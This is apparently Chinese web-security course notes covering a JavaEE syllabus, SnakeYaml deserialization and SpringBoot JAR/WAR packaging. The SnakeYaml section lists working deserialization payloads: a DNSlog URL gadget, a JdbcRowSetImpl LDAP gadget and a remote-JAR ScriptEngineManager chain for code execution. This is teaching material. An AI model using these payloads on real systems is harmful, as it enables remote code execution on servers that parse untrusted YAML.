Web开发-JavaEE应用&SpringBoot栈&SnakeYaml反序列化链&JAR&WAR&构建打包



#知识点：  
1、安全开发-原生PHP-超级全局变量  
2、安全开发-原生PHP-代码审计案例  
---------------------------------------------  
0、安全开发-原生PHP-数据库通讯  
1、安全开发-原生PHP-身份验证技术  
2、安全开发-Cookie&Session&Token  
3、安全开发-原生PHP-代码审计案例  
---------------------------------------------  
1、安全开发-原生PHP-弱类型脆弱  
2、安全开发-原生PHP-函数&数据类型  
3、安全开发-原生PHP-代码审计案例  
---------------------------------------------  
1、安全开发-原生PHP-开发组件集合  
2、安全开发-原生PHP-模版引擎渲染  
3、安全开发-原生PHP-第三方编辑器  
---------------------------------------------  
1、安全开发-框架技术-ThinkPHP  
2、安全开发-框架安全-版本&写法  
3、安全开发-ThinkPHP-代码审计案例  
---------------------------------------------  
1、安全开发-原生PHP-文件安全操作  
2、安全开发-原生PHP-上传读取删除包含等  
3、安全开发-原生PHP-代码审计文件安全---------------------------------------------  
1、安全开发-原生PHP-RCE安全  
2、安全开发-原生PHP-代码执行&命令注入  
3、安全开发-原生PHP-代码审计案例  
---------------------------------------------  
1、安全开发-原生PHP-PHP.INI安全  
2、安全开发-原生PHP-全局文件&单函数  
3、安全开发-原生PHP-流量检测&AI算法  
---------------------------------------------  
1、安全开发-原生JS-语法模型概念  
2、安全开发-Ajax技术-JQuery&Axios  
3、安全开发-Ajax应用-文件上传&用户登录---------------------------------------------  
1、安全开发-原生JS-DOM树&BOM对象  
2、安全开发-原生JS-DOM安全&安全案例  
---------------------------------------------  
1、安全开发-原生JS-数据加密&代码混淆  
2、安全开发-原生JS-数据解密安全案例  
---------------------------------------------  
1、安全开发-NodeJS-开发环境&功能实现  
2、安全开发-NodeJS-安全漏洞&案例分析  
3、安全开发-NodeJS-特有漏洞&代码审计  
---------------------------------------------  
1、安全开发-WebPack-构建打包器  
2、安全开发-WebPack-源码泄漏还原  
---------------------------------------------  
1、安全开发-微信小程序-搭建&开发&架构&安全  
2、安全开发-微信小程序-编译调试&反编译&泄露  
---------------------------------------------  
1、安全开发-JavaEE-Servlet技术  
2、安全开发-JavaEE-监听器&过滤器  
---------------------------------------------  
0、安全开发-JavaEE-构建工具-Maven  
1、安全开发-JavaEE-ORM框架-JDBC  
2、安全开发-JavaEE-ORM框架-Mybatis  
3、安全开发-JavaEE-ORM框架-Hibernate  
4、安全开发-JavaEE-ORM框架-SQL注入&预编译  
---------------------------------------------  
1、安全开发-JavaEE-类加载器&反射机制&链安全  
2、安全开发-JavaEE-成员变量&成员方法&构造方法  
---------------------------------------------  
1、安全开发-JavaEE-动态代理&序列化&反序列化  
2、安全开发-JavaEE-readObject&toString方法---------------------------------------------  
1、安全开发-JavaEE-原生序列化-URLDNS链分析  
2、安全开发-JavaEE-FastJson-JdbcRowSetImpl链分析  
---------------------------------------------  
1、安全开发-JavaEE-JNDI注入-LADP&RMI&DNS等  
2、安全开发-JavaEE-JNDI注入-项目工具&手工原理等  
---------------------------------------------  
1、安全开发-JavaEE-第三方依赖开发安全  
2、安全开发-JavaEE-数据转换&FastJson&XStream  
3、安全开发-JavaEE-Shiro身份验证&Log4j日志处理  
---------------------------------------------  
1、安全开发-JavaEE-开发框架-SpringBoot&路由&传参  
2、安全开发-JavaEE-模版引擎-Thymeleaf&Freemarker&Velocity  
---------------------------------------------  
1、安全开发-JavaEE-常见依赖-Actuator&Swagger  
2、安全开发-JavaEE-安全问题-配置安全&接口测试  
---------------------------------------------  
1、安全开发-JavaEE-身份验证-JWT&Security  
2、安全开发-JavaEE-安全问题-不安全写法&版本漏洞  
---------------------------------------------  
1、安全开发-JavaEE-WAR&JAR打包&反编译  
2、安全开发-JavaEE-SnakeYaml反序列化&链  
   
#章节点：(待补充)  
#具体点：(待补充)

演示案例：

* WEB开发-JavaEE-Servlet&路由&生命周期
* WEB开发-JavaEE-过滤器Filter&监听器Listen
* WEB开发-JavaEE-Maven&JDBC&Mybatis&Hibernate
* WEB开发-JavaEE-ORM框架-SQL注入&预编译
* WEB开发-JavaEE-类加载器&反射机制&安全问题
* WEB开发-JavaEE-成员变量&构造方法&成员方法
* WEB开发-JavaEE-动态代理&序列化&反序列化
* WEB开发-JavaEE-利用链&危险方法&重写方法
* WEB开发-JavaEE-原生反序列化&URLDNS链
* WEB开发-JavaEE-FastJson反序列化&JDBC链
* WEB开发-JavaEE-JNDI注入&LDAP&RMI服务
* WEB开发-JavaEE-第三方依赖-FastJson&XStream
* WEB开发-JavaEE-第三方依赖-Shrio验证&Log4j日志
* WEB开发-JavaEE-开发框架-SpringBoot&路由&传参
* WEB开发-JavaEE-模版引擎-Thymeleaf&Freemarker&Velocity
* WEB开发-JavaEE-监控依赖-SpringBoot&Actuator&配置安全
* WEB开发-JavaEE-API依赖-SpringBoot&Swagger&接口测试
* WEB开发-JavaEE-身份验证-JWT令牌&Security机制&安全问题
* WEB开发-JavaEE-项目-SnakeYaml序列化&JAR&WAR打包

常见的创建的序列化和反序列化协议  
• （已讲）JAVA内置的writeObject()/readObject()  
• JAVA内置的XMLDecoder()/XMLEncoder xml<==>Object  
• （已讲）XStream xml<==>Object  
• （已讲）SnakeYaml yaml<==>Object  
• （已讲）FastJson json<==>Object  
• Jackson json<==>Object  
   
#SnakeYaml反序列化  
SnakeYaml是Java中解析yaml的库，而yaml是一种人类可读的数据序列化语言，通常用于编写配置文件等。  
<dependency>  
 <groupId>org.yaml</groupId>  
 <artifactId>snakeyaml</artifactId>  
 <version>1.32</version>  
</dependency>  
SnakeYaml提供了Yaml.dump()和Yaml.load()两个函数对yaml格式的数据进行序列化和反序列化：  
Yaml.load()：入参是一个字符串或者一个文件，经过反序列化之后返回一个Java对象；  
Yaml.dump()：序列化将一个Java对象转化为yaml文件形式；  
测试总结：load和loadas都调用了对应的set方法  
   
参考：<https://www.cnblogs.com/F12-blog/p/18151239>  
1、URL链（自带链）  
!!java.net.URL ["http://5dsff0.dnslog.cn/"]: 1  
   
2、!!com.sun.rowset.JdbcRowSetImpl  
 dataSourceName: "ldap://localhost:1389/Exploit"  
 autoCommit: true  
   
3、RCE（自带链+利用SPI机制）  
https://github.com/artsploit/yaml-payload/  
javac AwesomeScriptEngineFactory.java  
jar -cvf yaml-payload.jar -C src/ .  
项目结构-工件-添加-yaml-payload-添加模块输出-构建工件  
python -m http.server 9999  
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://127.0.0.1:9999/yaml-payload.jar"]]]]  
   
#SpringBoot-打包部署-JAR&WAR  
参考：https://mp.weixin.qq.com/s/HyqVt7EMFcuKXfiejtfleg  
SpringBoot项目打包在各类系统服务器中运行:  
①jar类型项目  
jar类型项目使用SpringBoot打包插件打包时，会在打成的jar中内置tomcat的jar。所以使用jdk直接运行jar即可，jar项目中功能将代码放到其内置的tomcat中运行。  
②war类型项目  
在打包时需要将内置的tomcat插件排除，配置servlet的依赖和修改pom.xml，然后将war文件放到tomcat安装目录webapps下,启动运行tomcat自动解析即可。  
   
-Jar打包  
报错解决：  
https://blog.csdn.net/Mrzhuangr/article/details/124731024  
https://blog.csdn.net/wobenqingfeng/article/details/129914639  
1、maven-clean-package  
2、java -jar xxxxxx.jar  
   
-War打包  
1、pom.xml加入或修改：  
<packaging>war</packaging>  
2、启动类里面加入配置：  
public class TestSwaggerDemoApplication extends SpringBootServletInitializer  
@Override  
protected SpringApplicationBuilder configure(SpringApplicationBuilder builder) {  
 return builder.sources(TestSwaggerDemoApplication.class);  
}  
3、maven-clean-package  
4、war放置tomcat后启动  
   
安全：JAVAEE源码架构  
无源码下载泄漏风险，源码泄漏也需反编译

涉及资源：[资源下载地址](https://docs.qq.com/doc/DQ3Z6RkNpaUtMcEFr)